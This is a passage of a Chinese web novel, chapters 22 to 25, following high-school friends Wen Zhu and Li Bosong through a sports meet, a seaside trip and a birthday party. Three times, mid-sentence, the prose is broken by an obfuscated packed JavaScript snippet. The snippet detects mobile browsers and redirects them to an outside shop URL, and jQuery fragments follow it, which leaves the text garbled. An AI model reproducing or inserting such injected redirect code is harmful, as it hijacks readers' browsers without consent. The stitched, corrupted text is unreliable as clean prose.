一中校规校纪清楚严格,再集体荣誉感的裹挟下,他难得当乖宝宝,在学校认认真真穿着全身校服。虽说前段时间放假也见了面,但他冬天的衣服以黑白灰为主,并没有给闻竹什么特别的感觉。 今天也是经过了毕雨泽的提示,她才发现对面的人今天过分地张扬耀眼。闻竹低头又抬头,忽而清楚地意识到,这不是小学时的李泊松,也不是读初二的李泊松,而是十七岁的他。 这视线没法被忽视,李泊松好整以暇地看着闻竹,抬了抬眉,大概是问她怎么了。 闻竹面无表情:“来附中看运动会,你搞这么帅做什么?” 李泊松笑了声:“闻竹,你知道吗,这是我认识你这么多年,你第一次主动、真诚地说我帅。” “……” 闻竹不搭理他了,转头和毕雨泽不降音量地说小话:“李泊松夏天的衣服五颜六色的,到时候你就习惯了。” “哦!是吗?” 毕雨泽话音刚落就被人拍了下左肩。他往左看,没人,只好往右看。 两张脸同时出现在眼前。 曲思嘉叹气:“唉,你就没有我们竹子聪明,每次我拍她左肩她都会往右看。” 毕雨泽满头黑线:“这么无聊的游戏……八百年过去了你竟然还没玩够……” “这是有童心。”得到了闻竹撑腰的曲思嘉更加嚣张了。 闻竹递给她一块油炸糕,又问他们要不要吃早餐,得到了否定的答案后,她接过李泊松递来的湿巾擦了手,和李泊松一起收拾了桌子。 两个女孩笑笑闹闹地先走了,李泊松站起来,仗着多了几厘米的身高一个胳膊搭一个人的肩。 他们来得很早,跟着人流如愿进了附中校门,虽然每个人都有认识的同学在这,但他们之间互相一问,竟然没有一个提前打过招呼。 大家一面觉得其他人不靠谱,一面自在地逛着校园,享受第一个假期的早晨。 路上的校园广播在播放检阅进行曲,校园里来来去去的有不远处的操场上满是花花绿绿的遮阳棚,彩旗猎猎,生机盎然。曲思嘉拍了下闻竹的手,给她指意外飞上天空的两只氢气球。 闻竹说她来过一次附中,中考是在这儿考的,曲思嘉说真巧啊她也是。 “是么?”闻竹眨了下眼睛,很好奇:“你在哪个考场?” 这个问题超纲了,曲思嘉想不起来一点,但她说:“我印象里是那栋第四层……一共就五层楼吧,我在四楼考试,三天上下楼可累坏了。” “曲思嘉同学,这么说的话,”闻竹看她,“我们中考在一栋楼的同一层考试。” “有缘呀!”曲思嘉说:“怪不得我们能成为朋友。” 闻竹弯唇笑:“有关系?” “有关系,百年修得同船渡呢,那些少数的能走到你心里去的人,一定都是有很深的缘分的。” 22. 红灯倒数 附中校区在市中心,比一中建成得早,去年还翻修过。 男生们见到体育馆就走不动路了,感慨虽然整体环境建设不如他们一中,但这球馆设施真是太新了。 “我想起来了,”路一杭说,“附中有篮球生是吧。” 这么说就懂了。 毕雨泽挠了下头,开玩笑:“那还是程栩不争气啊。” 李泊松一直没说话,毕雨泽在他旁边,一巴掌拍在他胳膊上:“泊松,你干嘛呢?” “啊,”他和闻竹之间有半人的距离,在偷听她们两个讲话,这会儿被抓包了,他脱口编道:“想去打球。” 这提议被毕雨泽和路一杭迅速采纳。在曲思嘉低头发消息的时候,李泊松站在台阶上指了指身后的场馆,用口型和闻竹说:“走了。” 闻竹愣了下,而朝他挥了下手,意思大概是退下吧。 李泊松哭笑不得。 两个女生贪阴凉,在场馆门口刷了黄色油漆的长椅上坐了下来。这有一颗亭亭如盖的老树,遮天蔽日。 曲思嘉刚刚联系了她们共同的朋友钟灵,但那边一直没回复,她们两个也不着急,就在这你一言我一语地聊天。 主席台在体育馆门口的斜对角,远远看去,已经有运动员在那边检录了。校园广播适时响起,通知高三4乘100米男子接力决赛检录。她们两个听到音响里的声音,同时反应过来:“钟灵!” 两个女生在操场外围转到主席台那边,曲思嘉感叹:“人家附中高三也照样参加运动会,真好啊。” 还没等闻竹发表意见,曲思嘉又说:“但是如果当时去附中的话,就不会认识你们了,还是一中好。” “……”闻竹拉着她的胳膊,无奈道:“自己说话还能自己圆,你真谨慎。” “哈哈哈。”曲思嘉挠头。 祝灵回完消息后就忙着收各个班的加油稿,一大早就忙得出了汗。曲思嘉喊了她一声,她顺着声音传来的方向搜寻了一阵,看到了朝着朝阳走过来的两个女孩。 看到了老朋友的惊喜让她的表情生动起来,祝灵朝她们跑过去,笑得灿烂:“刚才思嘉给我发消息,我还以为看错了。你们怎么来了?” 这边暂时走不开,她一边忙活着一边和她们两个说话,在得知一中今天假期已经开始了的时候,祝灵很心碎:“你们不该告诉我的……” “我们帮你做一些,”闻竹笑了下,看她忙得脚不沾地了,接过那一沓子大小不一的纸后问她:“按照项目整理?有没有别的要求?” 祝灵没和她们客气:“把完全重复得挑出来就行,”她凑过去小声说:“不用太细心。” 祝灵每次都是负责主持和播音的,这次换季后的感冒还没好利索,昨天跑步又跑出了嗓子的问题,说了两句话感觉嗓子不太行,于是自告奋勇地来干这个活。 人多力量大,大家一起做事比祝灵自己和另一个女生两个人做快多了。祝灵和闻竹都是做事干脆利落的人,曲思嘉开玩笑说她自己都被卷得效率高起来了。 前几个项的投稿基本上都要尽快按照项目分好类,因为和道德风尚奖的评选有关,还有班级在往主席台下送。不过活总有干完的时候,忙了一段时间后,桌上的纸终于分门别类地放好了。 祝灵叹气:“好女孩,你们真是我的救星。” 事少了之后她们也放松下来了,闻竹问她怎么感冒了,祝灵还没说话就戴着一次性口罩打了个喷嚏,眼睛水灵灵的。她手忙脚乱地找纸巾:“感冒没好利索,昨天又跑了一百米。” 曲思嘉:“……更严重了吧。” “嗯,可是临时推掉的话又很不够意思。”她眨眨眼,开玩笑道:“我跑一百米还是挺厉害的。” “不过你也厉害,”她碰了下闻竹的胳膊:“早知道让你来帮我跑。” 闻竹答应得痛快:“下次你给我打电话。” 祝灵扑哧一声笑了。 她仰头看天,碧空如洗,好像看到了一面镜子。 按理来说她们现在做的这个活还要审稿,因为重复的有不少,而且和往年的投稿差不多,估计百度百科都没更新。闻竹和钟灵没那么细心,但曲思嘉向来对文字敏感,她喜欢这个活,干得最慢也是因为最认真。 “致高二十班梁恕同学:今天的你英姿飒爽,今天的你一马当先!”她声情并茂地念了两句,加重了一些感情色彩,又迅速地从头至尾浏览了一遍,纳闷道:“怎么搞得这么像表白呢……哎呀,这个落款,真是个人来稿。” “你好八卦。”闻竹笑她,却也凑过去看。 “这个梁恕同学,应该长得不错。”曲思嘉语气肯定地说。 “为什么?”闻竹提出反对意见,“也不是只有帅哥美女才会被表白。” 她们两个同时看向祝灵,祝灵眨眨眼:“……别的不太了解,但确实挺帅的。” 闻竹又把视线转回曲思嘉身上,曲思嘉老神在在:“追星的直觉之——听名字就知道是帅哥。” 闻竹:…… 祝灵在旁边笑得东倒西歪。 - 他们五个汇合之后一起看了会儿比赛,三个女生还是在聊天,不往操场上扫一眼。应该是有个男生跳高特别厉害,毕雨泽快尖叫了,他捶胸顿足地表示三班没有跳高牛逼的男生,又想起了李泊松,问他行不行。 上午的时间一晃而过,树影碎阳在他们脚下摇曳。 加上祝灵六个人,大家一起吃了午饭,之后祝灵回班级午休,他们几个也趁着中午校门开放的时间离开了附中的校园。 走出校门的一路上李泊松抽空买了电影票,其他人只得专心致志地听路一杭讲无聊的冷笑话。毕雨泽一脸生无可恋,曲思嘉倒是看得很开。 “他就这么一个爱好,让让他吧。” 这句话让大家内心的容忍度上升了很多。 出了校门,除了闻竹和李泊松,他们三个都站在了车前,然后一起回头,看到两颗脑袋凑在一起不知道在说些什么。 …… “诶,”毕雨泽打断已经和朋友们形成结界的两个人,问道:“说什么悄悄话呢?” 李泊松笑笑:“在点爆米花套餐。” 路一杭已经坐上了车,并把钥匙插/进了锁孔:“说正事了,你们两个怎么去?” 两人这才发现这个问题,除了他们两个之外,别人可都有“座驾”。 看着闻竹的视线从两辆电动车之间巡视,李泊松提醒她:“注意交规啊。” “我又没想……”闻竹抬头,看到了李泊松似笑非笑的眼睛,心说,算了。 这里离商业大厦就两条街,坐地铁反而更麻烦,走着也不是不行,但不管以上哪种方法,他们三个都得在影院里等一会儿。幼稚的高中生们就是固执地觉得,大家一起出来玩,路上也不可以分开。 李泊松好像知道闻竹在想什么,他指了指树荫下共享单车里的寥寥几辆共享电动车,和闻竹说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079139|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我去扫那个,你让毕哥载你?” 闻竹点头,问他:“你会骑电动车?” 她倒不是质疑李泊松,只是单纯地没见他骑过。 “应该会吧,”李泊松从不让她失望:“没尝试过。” “……” 闻竹对他的回答毫不意外,但在她的印象里,李泊松自行车骑得很好,甚至能做到骑车上很高的台阶。初中那阵子,他没少因为这个被他爸爸批评。 况且在闻竹的认知里,会骑自行车就代表会骑电动车,一样的。 她站在树荫下看着李泊松去扫码,他那件棒球服外套的拉链没拉,T恤的领子随着低头的动作向下滑了一些。闻竹忽地皱了下眉,打断他的动作:“李泊松,你等一下,咱们骑自行车去。” 李泊松没问为什么,只是听话地直起身,就和闻竹一起去扫旁边的共享单车。 路上有些堵车,非机动车的优势就体现出来了。 他们两个跟在两个电动车后边,李泊松让闻竹靠着绿化带那边,自己挨着马路。 其实让他骑电动车一定也不会出什么问题,但她在李泊松弯腰的瞬间忽然想到了他锁骨的伤。 李泊松是怕热的体质,四月末就穿上了半袖,闻竹每日坐在他旁边,能注意到他领口下的疤痕。 她之前没意识到会留下这样的一道疤,横亘在左边锁骨上,那一块皮肤凸起,让人一眼看去就能猜到,这是怎样的意外。 五月初的风轻柔拂过面庞,李泊松看出她有心事,偏头笑了下:“你在想什么?” 闻竹回神,和他闲聊:“岩姐前天晚上叫你和毕雨泽去办公室,是因为手机的事?” “嗯,”他应道:“你猜到了?” “谁会猜不到?” 闻竹清楚岩姐的性格,学生们真的冒着大雨去给她送伞,她心里一定觉得非常感动,但不能在学校里看手机又是一个原则性问题,是她定的规矩。 闻竹想了想:“肯定不会真的罚你们,但是……你们又立了什么军令状吧?” “嗯,”他笑笑,“你还挺了解岩姐的啊。” “所以是什么?” 车子在十字路口停下等60秒红灯,闻竹跟着默数几个数,偏头看他。两个人的车子挨得很近,两个车把几乎蹭在一起。 “保——密——”他放缓语气,“做到了再告诉你,现在没什么把握。” 无非就是成绩嘛,闻竹点头:“你没问题的。” 听了这话,李泊松抬起放在车把上的右手重新握成拳,和闻竹放在车把上的左手轻轻碰了一下,好像什么重要仪式一般。 闻竹觉得他幼稚,无语了一瞬。 在红灯倒数二十秒的时候,闻竹终于开口问:“你说你没骑过电动车,那次意外是……骑自行车吗?” 她问这话的时候皱了下眉,又补充:“如果你不想说就不要说,红灯结束之后我就不会再问了。” 李泊松知道她说不会再问了是真的,也知道闻竹一直关心他。 他说:“是摩托。” 她表情认真:“你以后一定注意安全。” “我知道,”他笑笑,在绿灯重新亮起的时候说:“我现在觉得……很开心。” 午后的太阳高高挂起,天热起来了,空气让人昏昏欲睡。单车在非机动车道上稳稳地行驶着,闻竹抬头,树木不知什么时候变成了现在这幅枝繁叶茂的样子,光晕在树叶间跳跃闪耀,如同精灵一般。 23. 姐妹夜聊 假期的第一天晚上,闻竹就从学校对面搬回了家里,她妈妈陈女士辛辛苦苦工作四个月,终于获得了五一小长假。 在陈女士的提议下,她们母女三个扔下了假期需要值班的老爸,开始了为期三天的短途旅行。 陈青是去放松的,闻灿不喜欢吵闹的环境,闻竹对自己的定位是妈妈和妹妹开心就好,所以态度比较随意。这样一来,三人避开热门旅游景点,跑去了另一座拥有美丽海岸和美味海鲜的海滨小城。 在点开微信看到曲思嘉发给她的人山人海的照片后,她再一次感慨她们决策的正确性。 陈青是摄影师,为了这个假期提前做了好几天的工作,加了两夜的班,下午到达酒店后就在房间里睡得昏天暗地。这个酒店紧临一片海,拉开窗帘看过去,一座小山隐在海雾中。大海辽阔,浮光跃金。 三个多小时的高铁让闻竹也有些累,她和闻灿呈两个“大”字状躺在床上,两个人却都没睡着,于是不约而同地从床上爬起来,换了衣服去吃饭,再去海边等日落。 太阳毒辣,一出门就热浪扑面,闻竹把闻灿拉回去,两人胳膊和腿都喷了防晒喷雾后才重新出门。 浅海区有戴着游泳圈戏水的小孩子,沙滩上支着几个帐篷,她们两个穿着洞洞鞋,脚踩在柔软的海滩上。 临城很少有这么软的沙滩,闻灿很兴奋地弯腰捡自己感兴趣的形状奇怪的贝壳,闻竹在一边坐下摆弄脖子上挂着的相机。偶尔拍拍闻灿,偶尔拍拍大海和盘旋的海鸥。 微信叮叮咚咚地响了几声,她从口袋里摸出手机,以为是妈妈醒了找不到她们,没想到是他们的小群。 【毕雨泽:泊松,我队友说他刚才在体育馆球场和你打球了!】 【L:嗯,我还没走呢。】 【毕雨泽:那你别走了,我也去,我今天一天没出门了!】 【L:来吧。小路,小路来不来?】 【路一杭:等我,我肯定比B哥到得早。】 【毕雨泽:哎?】 【路一杭:@毕雨泽你一天没出门?这不符合你的性格啊。】 【毕雨泽:忙着睡觉了,昨天写作业写了整整一个晚上……】 闻竹一直默默地看,也没准备说话,看到“写作业”这三个字的时候有点头疼,她作业还没写。、 但玩就是玩,还得玩得好,这是岩姐说的,她这么一想,又释然了。 【路一杭:然后你写完了?】 【毕雨泽:?】 【毕雨泽:然后天亮了。】 【李泊松:哈哈哈哈哈哈哈。】 【闻竹:……】 看到闻竹出现,李泊松戳她的头像给她发消息。 【L:玩得开心吗?】 【L:哪天回?】 闻竹想,她刚到这儿,这人就问她哪天回,真是……虽然这么想着,她还是认真答了话。 【一支竹子:后天的高铁。】 【L:嗯。】 问完之后倒是装上高冷了。 【一支竹子:嗯是什么意思?】 【L:回来之后找我玩。】 【一支竹子:你是小学生?】 陈女士一个电话把闻竹从聊天框里拉出来,她们在电话里约好再过半小时在酒店楼下见面,之后去附近的街上吃比较出名的那家海肠捞饭。 她们三个靠着闻竹在高铁上制定的简易攻略享受这次旅行。 到了晚上,三个人吃完饭后绕了个远,沿着海岸线溜达着消食。这条海岸线很长,浪花有节奏地拍打在沙滩上。 陈青问两个女儿:“我以为你们会想去别的地方玩玩,没想到在海边住了这么多年,旅行又来看海了。” 闻灿一边欣赏着海景一边说:“海和海也是不一样的啊,咱们家那边就没有这么柔软的沙滩。” 闻竹听了,在旁边笑了下。 黑夜渐渐笼罩下来,她们走到酒店附近时,天已经黑透了。因为远离市区,这片海域的游客并不是很多,多的是天上的星星,一闪一闪的。 黑夜比白天多了一种静谧。 陈青先回了酒店,姐妹两个在海边坐着聊天,两个人舟车劳顿了半天,身体很累,但是精神很放松,这又是旅行第一天,因而不愿意早早地回去。 闻竹和闻灿的感情一直很好,闻灿读小学的时候一直不愿意和姐姐分房间住,那个时候父母的工作和现在一样忙碌,姐妹两个亲密无间。妹妹一直都不太爱说话,但是喜欢和她说。 可闻竹总觉得她们两个之间比以前有了些隔阂。是长大后难以避免的吗? “灿灿,你想不想和姐姐聊天?” 听了这话,闻灿停下踩沙子的动作,在闻竹身旁躺了下来,两个人肩膀挨着肩膀,靠得很近。 “咱们像小时候一样玩游戏吧。”闻灿说。 小时候的游戏…… 闻竹把手垫在脑后,问她:“过家家还是猜谜语?” “都不是,我们来玩那个互相分享烦恼的游戏吧,你把你的烦恼告诉我,我把我的烦恼告诉你,然后我们的烦恼就一同消失了。” 她一只手攥成拳再打开,宛如刚刚在沙滩上盛放的烟花。 这个游戏是闻灿最先提出来的,凭着这个借口,闻竹把很多她原本不会主动开口的话朝妹妹倾诉了。 浓重的黑夜里,海天一色,在沙滩上的一个角落,两个女孩意外乘坐时光机重返童年。 “好啊,”闻竹说:“那我们还是老规矩,谁提议要玩谁先说。” “姐姐,会不会别人都觉得我比不上你?” 在海的声音中,闻灿安静了一会儿,又毫无预兆地开口。 “嗯?”闻竹很惊讶,因为她从来没在这个角度考虑过问题,或者说,她从来都没有这么想过。“为什么这么说?” “老师和有的亲戚这么说过。”闻灿说出口之后,却不知道接下来的话怎么说了。 闻竹摸了摸她的头发。 “我觉得自己好像一直被你的光环笼罩着,很多事情我都没有你做得好。”她顿了顿,语气有些纠结。 有些时候她心思很直,没那么多想法,自觉不算心有玲珑的那类人,所以偶尔也没法细腻地捕捉到别人的想法和心思。但朋友会说她是个好朋友,妹妹会认为她是好姐姐。 “你很优秀。”闻竹语气坚决地告诉她,“你不需要怀疑这个。老师也好亲戚也罢,他们只通过一件事或者某一方面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079140|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就随便评价你,这是他们的不对。” “灿灿,你仔细想想,你比我优秀的地方有很多。比如我和李泊松一起去学小提琴,我们两个都没有耐心、也没什么乐感……但是你学得好,考了级,还得过奖。” “只有这一件事。”闻灿伸出一根手指。 闻竹做了同样的动作:“这只是其中之一。” “你是不是纠结很久了?” 闻竹听到她“嗯”了声,心里也有些难过,可能亲姐妹之间是有心灵感应的。 “最近感觉知识变难了,作业也很多,我觉得很没有自信。” “我在念初一的时候也是这样。”闻竹笑笑,感觉到妹妹偏头看向自己,“诶?你忘记了?咱们玩这个游戏的时候,我还和你抱怨过呢。” 闻灿确实记不清了,于是不好意思地抓抓头发。 “从小学到初中那年可能是我心情最不好的时候,作业变多、压力变大、成绩下滑,之前那些熟悉的朋友很多都离得很远……初二那年变好了很多,但是李泊松又转学离开了。我一直觉得他是我最亲近的朋友,离开了他我觉得很孤独。” “说到李泊松……其实我和你有差不多的感觉,因为在我成绩波动的时候,他依然很厉害,而且我看到他的时候他几乎都是在玩。我有一段时间觉得他做什么事都很容易,但是后来,我发现他其实非常努力,而且,也会有难过的时候。” “所以,没关系的,大家都一样。” “大家都一样吗?大家都看起来很轻松很开心。” 闻竹笑了:“那至少我们是一样的。” 闻竹觉得自己其实没有办法给她出什么更好的主意,只能告诉妹妹自己也有很多烦恼,而有烦恼是正常的,不必为此烦恼,不完美也是很好的,没有谁完美。 “你是不是长高了?”闻竹忽然换了话题。 “对哦,”闻灿说,“前几天体检量身高了,我已经一米五五了,姐你呢,你是不是很久没有长个子了?” 闻竹在初中毕业的时候就是一米六五,现在大概有一米六六或者六七?总之确实没怎么长,每次体检的时候数据都在这两个之间波动 “确实……不过我前几天还因为腿抽筋疼醒了呢,可能还会长吧。” “这是不是就叫做生长痛?” “嗯,”闻竹说,“每个人都会经历这些,我们都在长大,没有办法避免。” “不过,我可以给你出主意……如果你再遇到什么很难搞很纠结的事情,我还不在身边的话,你可以想象如果是我的话我会怎么做。”她眨眨眼,“那样你会觉得有人陪你一起解决问题,就不会觉得无助了。这一招百试百灵。” “哦!”闻灿眨眼睛,很好奇的样子,“那你会幻想谁?” “我?” 闻竹轻轻捏她的鼻子,动作亲昵,表情却故作高冷:“我不会告诉你的。” “好吧——”闻灿若有所思地点头。 五月的北斗七星悬在海面上,像宝石一样闪着光芒,眼前的海融于夜色,映照着星月的光。 她们原本是肩膀挨着肩膀的姿势,在互相打开心扉的时候,两颗脑袋渐渐靠在了一起,如同幼时一般,共享同一片温柔梦境。 24. 南来北往 闻竹和妈妈妹妹在五月三号下午一点准时到达临城南站。 三个多小时的车程,她们什么都没吃,现在一点过半,都饿得前胸贴后背,直接在高铁站口找了家拉面店。 陈女士在饿极的时候依然有种不紧不慢的优雅,这是她的生活哲学,吃完这顿略显匆忙的午饭后,她回了几条消息,用脸贴了贴两个女儿,表达自己的抱歉。 “妈妈工作去了啊。” 闻灿抬起头和她说拜拜,闻竹挥手说:“知道了妈,不用担心我们两个,”她有些无奈,“我马上十八岁了……” 陈女士冷哼道:“装大人的小鬼。”拎着自己的挎包走了。 “行李也拜托你们啦。”她转头,眨眨眼睛。 在她的身影消失在玻璃门口的时候,闻灿说:“姐姐你有没有研究过星座?” “没有,”闻竹挑了下眉:“你发现了什么?” 虽然这附近只有她们两个,闻灿依然往她身边凑了凑,神神秘秘地说:“在妈妈身上特别准。” 闻竹诧异地看着她,难得地被勾起了好奇心,拿起手机打开了百度。 她一边吃饭一边搜索着天秤座相关的词条,闻灿吃两口面就抬头看看她,好像在等她确认自己的结论准不准一样。 “……泊松哥?” 闻竹听到后反应慢半拍地抬起了头,看到闻灿刚刚还是不确定的语气,这会儿已经把手抬起来了,朝着门口的方向挥了挥。 门口的服务员问他们几位,李泊松回答“两位”。然后他们在服务员的指引下走向了闻竹她们旁边的座位。 没等闻竹回头,一只手拍了下她的肩膀,她仰头,看到了李泊松和一个不认识的男生。李泊松收回手,先朝闻灿笑了笑,和她打了招呼后低头问闻竹:“这么巧……玩得开心吗?” 闻竹第二次听他问这话了,她说:“挺好的,就是有点晒。这是?” 闻竹回完话,视线转向了他后边的男生。李泊松反应过来,不好意思地笑了下,侧身给他们互相介绍。 那男生和李泊松一样自来熟,说他叫严禹,是李泊松在宁城时的高中同学。 闻竹眼睛亮了下,有些意外。 严禹显然更意外,他应该是热情惯了,性子很直:“你就是闻竹?!” 这么一句话出来,闻竹和李泊松同时沉默了一会儿。闻竹对他认识自己这件事感到惊讶,又觉得他的反应有些夸张了,于是问:“你知道我?” “嗯,”严禹点头,“以前松哥说过你是他最好的朋友,但我没想到你是女生。” 闻竹心里原本就猜了个八九不离十,真听到这话却又觉得有些讶异。她一时不知道说什么好,就套用了万能的公式——微笑。 李泊松看到闻竹这个程式化的笑后觉得有趣。她笑出了一个酒窝,之后唇角放下来,酒窝就消失了。 互相认识了之后,他们两个落座,扫码点了单。闻竹已经吃完了,隔着条过道和李泊松的朋友聊了几句,都是些关于李泊松的无关紧要的事,不过能判断出他是当时和李泊松关系不错的朋友。 视线又下滑到男生腿边的行李箱,严禹看到后说他趁着五一假期来找李泊松,顺便看看临城的海。 在李泊松去端面的时候,严禹说:“我们两个关系不错,他人特别够意思。而且临城不是有名的海滨城市嘛,松哥那时候总提到这儿的海,我早就想来玩了。” 闻竹想,李泊松看着挺酷的,其实念旧。 他回来后坐下,问严禹:“你还没说呢,在这待几天?” “明天晚上我就回去了……”严禹满脸黑线,“补课补了半个假期,真想赶紧毕业啊。” 李泊松笑笑:“我还挺喜欢上学的。” “因为你是学霸。”严禹的脸上出现了毕雨泽经常有的那种“恨你们优等生”的表情。 “也不是喜欢学习,”他随口道:“大概是喜欢这样的高中生活吧。” 严禹觉得高中生活就等同于学习、学习、一直学习,因此两个人在这件事上没了一点共同语言,就翻篇开始说下一个话题。 闻竹不欲打扰老同学叙旧,于是撂下筷子,仔细地观察闻灿拨开葱花挑起面的动作。她小声念叨了句“又不吃葱花”,却没有什么批评和指责的意思。 “袁夏……她说有事想问你,本想自己来,我说五一假期酒店难订,我住你家,她这才作罢。” 这听起来像个女孩子的名字。 闻竹把自己对隔壁桌无聊的关注总结为距离太近而她又太无聊。听到这个名字后,余光中李泊松的表情并没有什么波动,吃面的动作都没停。 严禹没等到李泊松开口,忽然反应过来什么,问他:“叔叔阿姨不在家吗,我竟然才想到这个问题,是不是太打扰了?” 李泊松短暂地怔了下,之后语气平淡地说了句“没事”,“我在学校对面租了房子,自己住。” 在宁城读书的时候,李泊松的家长会是姑姑来开,严禹问过一次,当时他说他妈妈在临城。在严禹的理解中,自动转换成了他父母在临城。 得到了这句话,他就放心下来。 严禹接续刚才的话题说:“她前段时间和你告白了吧,去年期末那阵。你当时说你不想谈恋爱。” “嗯。”李泊松看着朋友,挑眉道:“你不是刚说过我是好学生,我不早恋。” “这和好学生有什么关系,”严禹吐槽:“况且我那是单指你成绩好。” “就是随便找了个借口。”李泊松拧开放在桌边的矿泉水,“这是我爸教我的,拒绝别人的时候要明确又委婉。” 看他这么坦诚,严禹挠挠头,有点不知道怎么问了。 “其实也不是什么大事,她就是想知道你收到她的情书之后是看了还是扔了……她现在应该是还对你有点执念……” 闻竹终于偏过头去。 “没看,但是也没扔。”他摇头,“搬家的时候翻到了,丢掉也不好,毕竟是心意,就带过来了。” “……一沓情书挺沉的吧。”闻竹在旁边开了句玩笑。 她起身收拾了下东西,行李箱的滚轮摩擦大理石面发出了轻响。“先走了,”说完后视线转向李泊松的这位同学,大方客气地笑了下:“严禹,玩得开心啊。” 闻灿也和他们道别,之后她们出了店门,拉着行李箱乘电梯下楼。 楼下的游客比楼上多很多,站口排着长长的队伍,广播里循环播放着高铁线路信息,提着箱子的旅客男女老少南来北往。 她们两个拉着手,继续乘电梯下行,在等待环城公交的时候,闻灿忽然开口:“姐姐你有没有觉得,车站其实很像我们的人生?” “嗯?”闻竹有些不解其意,问她:“为什么这么讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079141|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “就是觉得大家都很匆忙,提着很重的箱子奔走,有的在和亲人朋友告别,有的独自一人,然后大家在这里和很多陌生人擦肩而过……” 闻竹知道自己对生活是没有这么细腻的感知的,听了后很惊讶,她捏了下妹妹的手和她说:“我一定得把曲思嘉介绍给你认识,你们两个一定特别有的聊。” 她话音刚落,不远处就有喇叭声响起,环城公交朝着站点缓缓驶来。 - 午后的空气燥热,闻竹回程时穿的长袖,到家后就忙关窗摁开了空调。他们家的客厅挨着一扇大落地窗,午后的阳光毫不吝啬地洒在摆满花盆的阳台上。 闻灿在车上就困了,才说两句话不到头就像小鸡啄米一般一点一点的了。闻竹觉得有趣,催她去睡觉,自己换了衣服后下楼找手机。 手机刚好进来消息,叮咚两声,亮了屏。 闻竹走到玄关的柜子旁拿起来看,李泊松给她发了消息,问她到家了吗。闻竹心想真巧,打字却依然冷冷淡淡的。 【一支竹子:刚到。】 【L:是吗,还挺巧的。】 闻竹抿了下唇,猜想这个时候他们两个应该是吃完饭了。 【一支竹子:你们吃完了?】 【L:吃完了,刚出地铁口。】 【一支竹子:去四季学府?】 【L:嗯。】 【L:闻竹,我忽然想起一件事,前几天忘记和你说了。】 闻竹纳闷他怎么突然叫自己名字,那边直接发来一条语音: “上次英语大赛的主持人你有印象么,27班的一个男生。那个比赛过去没多久,有次打球的时候我们碰上了,他问我能不能把你的微信推给他,说不好意思直接朝你要。这事儿我也不能替你做主,就说帮他问问。然后就忘了,才想起来。” 闻竹平时有午睡的习惯,原本有些困了,听了他的语音又清醒了些。 她还真的仔细想了想那天当主持人那个男生,李泊松和他说话的时候她朝那边看了几眼,但至于这人长什么样,她一点印象都没有了。27班是文尖,和他们班隔着两层楼,面都碰不上。 闻竹靠在沙发上挑了下眉,没答反问:“这得是半个月之前的事了吧,你今天想起来的?” 李泊松第二条语音话音带笑:“没,早就忘得一干二净。昨天打球碰到了,他又提起这事,我才想起来要和你说。” 闻竹:“哦,那你就把初中时候那套说辞搬出来,说我爸不让我谈恋爱。”她语气平淡地回完消息后又觉得不对,补了条语音过去:“李泊松,你之前没少替我做决定啊,这会儿怎么知道问我了?” “我之前都是替你拒绝,现在……征求你的意见。” 【一支竹子:这有什么可征求的】 【一支竹子:拒绝别人这事,你经验丰富啊。】 这两句话听起来有些阴阳怪气,李泊松看到消息的时候严禹刚买水回来,他在严禹旁边笑出了声,导致打字时严禹一直疑惑地盯着他。 “你谈恋爱了?” “没有啊,”李泊松抬眼,笑意还没淡去,“怎么这么问?” “那你总看手机,还笑成这样?”严禹想变出个镜子给他照照,“不对劲。” “我不是一直都这样?” “你之前可没有这么……活泼。” 25. 生日聚会 闻竹迟到了几分钟,站在门口抬手敲门,是毕雨泽给她开的,她在门口换了鞋,听到毕雨泽在耳边唠唠叨叨:“泊松踩点来,你迟到,你们也太不重视我们小路哥哥的生日了。” “……”闻竹被这个称呼搞得颇无语,她换完鞋抬眸,刚想反驳两句,却看到了李泊松一副似笑非笑看戏的样子。他盘腿坐在地毯上陪旁边的小女孩玩游戏。 客厅挂了一些气球,摆成了“HAPPYBIRTHDAY”的样式。 “我带了零食,给你们赔礼道歉,”她提了下手里的大购物袋,把李泊松当下的表情学了个十成十,“可以进门了?” “请进,请进。”毕雨泽说。 闻竹不常开玩笑,开玩笑也像讲冷笑话,李泊松倒是被逗得不行。 “我可以插话么,我没踩点啊。” “早到了两分钟?”毕雨泽接过那一大袋子零食,做了个夸张的“请”的动作,回头和李泊松说:“约等于嘛。” 闻竹先去厨房跟路一杭说生日快乐,他在切水果,曲思嘉在旁边坐着吃巧克力。闻竹回头看了眼客厅的场景,问他们:“那个小姑娘是谁啊?” “我表妹,”路一杭说,“是我姑姑的女儿。” 曲思嘉把手里的巧克力掰了一半给闻竹,说道:“她叫橙子。” “真可爱,”闻竹又看了一眼:“大名还是小名?” 